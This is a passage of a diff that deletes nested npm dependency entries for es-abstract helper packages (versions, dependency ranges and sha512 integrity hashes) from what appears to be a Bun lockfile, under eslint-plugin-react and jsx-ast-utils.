- "eslint-plugin-react/array-includes/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "eslint-plugin-react/array-includes/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "eslint-plugin-react/array-includes/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "eslint-plugin-react/array-includes/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "eslint-plugin-react/array-includes/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "eslint-plugin-react/array-includes/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "eslint-plugin-react/array-includes/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "eslint-plugin-react/array-includes/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "eslint-plugin-react/array-includes/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "eslint-plugin-react/array-includes/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "eslint-plugin-react/array-includes/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "eslint-plugin-react/object.values/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-react/object.values/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "jsx-ast-utils/array-includes/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "jsx-ast-utils/array-includes/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "jsx-ast-utils/array-includes/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "jsx-ast-utils/array-includes/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "jsx-ast-utils/array-includes/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "jsx-ast-utils/array-includes/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "jsx-ast-utils/array-includes/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "jsx-ast-utils/array-includes/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "jsx-ast-utils/array-includes/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "jsx-ast-utils/array-includes/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "jsx-ast-utils/array.prototype.flat/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
